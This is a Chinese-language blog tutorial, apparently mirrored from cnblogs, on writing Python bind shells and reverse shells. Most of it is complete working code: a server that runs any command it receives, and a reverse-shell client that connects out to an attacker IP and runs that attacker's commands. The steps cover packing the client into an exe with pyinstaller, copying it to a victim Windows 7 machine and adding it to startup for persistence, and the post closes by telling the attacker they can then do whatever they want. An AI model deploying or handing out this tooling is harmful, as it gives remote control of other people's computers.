zoukankan      html  css  js  c++  java
  • python shell与反弹shell

    python shell与反弹shell

    正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接

    反弹shell,攻击端是服务端,被攻击端是客户端
    正常shell,攻击端是客户端,被攻击端是服务端 

    反弹shell,先启用服务端,再启用客户端

    反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)

    shell:

    客户端: 

    import socket
    s=socket.socket()
    s.connect(("192.168.0.114",1234))   #连接的服务器的ip地址,端口
    for i in range(10):
        com=input("command:")
        s.send(com.encode())     #发送信息
        d=s.recv(1024)           #接受数据的大小
        print(d.decode(),len(d))

    服务端: 

    #服务器端
    import socket
    import os
    s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接
    s.listen(5)                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
    con,addr=s.accept()     #接受一个客户端的连接
    #print(con,addr)
    
    for i in range(10):
        cmd=con.recv(1024)
        print(cmd)
        command=cmd.decode()
        if command.startswith("cd"):
            os.chdir(command[2:].strip())   #切换路径
            result=os.getcwd()      #显示路径
        else:
            result=os.popen(command).read()
        if result:
            con.send(result.encode())
        else:
            con.send(b"OK!")

    测试:(客户端(win10)、服务端(win7))

    1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)

    打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件

      

    2.在win10运行客户端 

    反弹shell:

    客户端: 

    #反弹shell,攻击端是服务端,被攻击端是客户端
    #正常shell,攻击端是客户端,被攻击端是服务端
    #例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端
    #   反弹shell,先在win10启用服务端,再在win7启用客户端
    #   反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)
    #   正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接    
    import socket
    import os
    import sys
    import time
    #print(sys.argv)
    #hacker=sys.argv[1]
    hacker="192.168.0.144"
    port=1234
    server=(hacker,port)
    s=socket.socket()
    s.connect(server)
    
    while 1:
        # 得到被攻击端的所在目录,并发送
        dir=os.getcwd()
        #print(dir)
        s.send(dir.encode())
        # 接收来自攻击端(服务器端)的命令,并进行处理
        cmd=s.recv(1024).decode()
        # 对接收的命令做出判断
        # 退出
        if cmd=="exit":
            break
        elif cmd.startswith("cd"):
            os.chdir(cmd[2:].strip())
            result="切换目录成功!"
        else:
            result=os.popen(cmd).read()
        if not result:
            result="命令执行完毕!"
        
        s.send(result.encode())
        time.sleep(1)
        
    s.close()
    print("退出!")    

    服务端: 

    import socket
    import time
    server=("0.0.0.0",1234)
    s=socket.socket()
    s.bind(server)
    s.listen(5)
    con,addr=s.accept()
    print(addr,"已经接入!")
    while 1:
        #接收来自被攻击端的所在目录
        dir=con.recv(1024).decode()
        cmd=input(dir+":").strip()
        con.send(cmd.encode())
        if cmd=="exit":
            break
        result=con.recv(65365)
        print(result.decode())
        time.sleep(1)
    s.close()
    print("退出!")    

    测试:

    1.先在win10运行反弹shell服务端

    2.再把反弹shell客户端打包成exe文件夹,复制到win7中,然后双击运行

    3.这时可以看到服务端(win10)已经和客户端(win7)连接上了。#只要服务端一直运行,如果把客户端的程序加入到开机自启,这样客户端已开启就被连接到服务端  

     4.接下就可以为所欲为了  

  • 相关阅读:
    68、成员列表初始化?
    67、类成员初始化方式?构造函数的执行顺序 ?为什么用成员初始化列表会快一 些?
    64、malloc申请的存储空间能用delete释放吗?
    63、new和delete的实现原理, delete是如何知道释放内存的大小的额?
    62、delete p、delete [] p、allocator都有什么作用?
    60、C++模板是什么,你知道底层怎么实现的?
    nyoj--814--又见拦截导弹(动态规划+贪心)
    hdoj--1950--Bridging signals(二分查找+LIS)
    nyoj--214--单调递增子序列(二)(二分查找+LIS)
    hdoj--1010--Tempter of the Bone(搜索+奇偶剪枝)
  • 原文地址:https://www.cnblogs.com/yuzly/p/10473497.html
Copyright © 2011-2022 走看看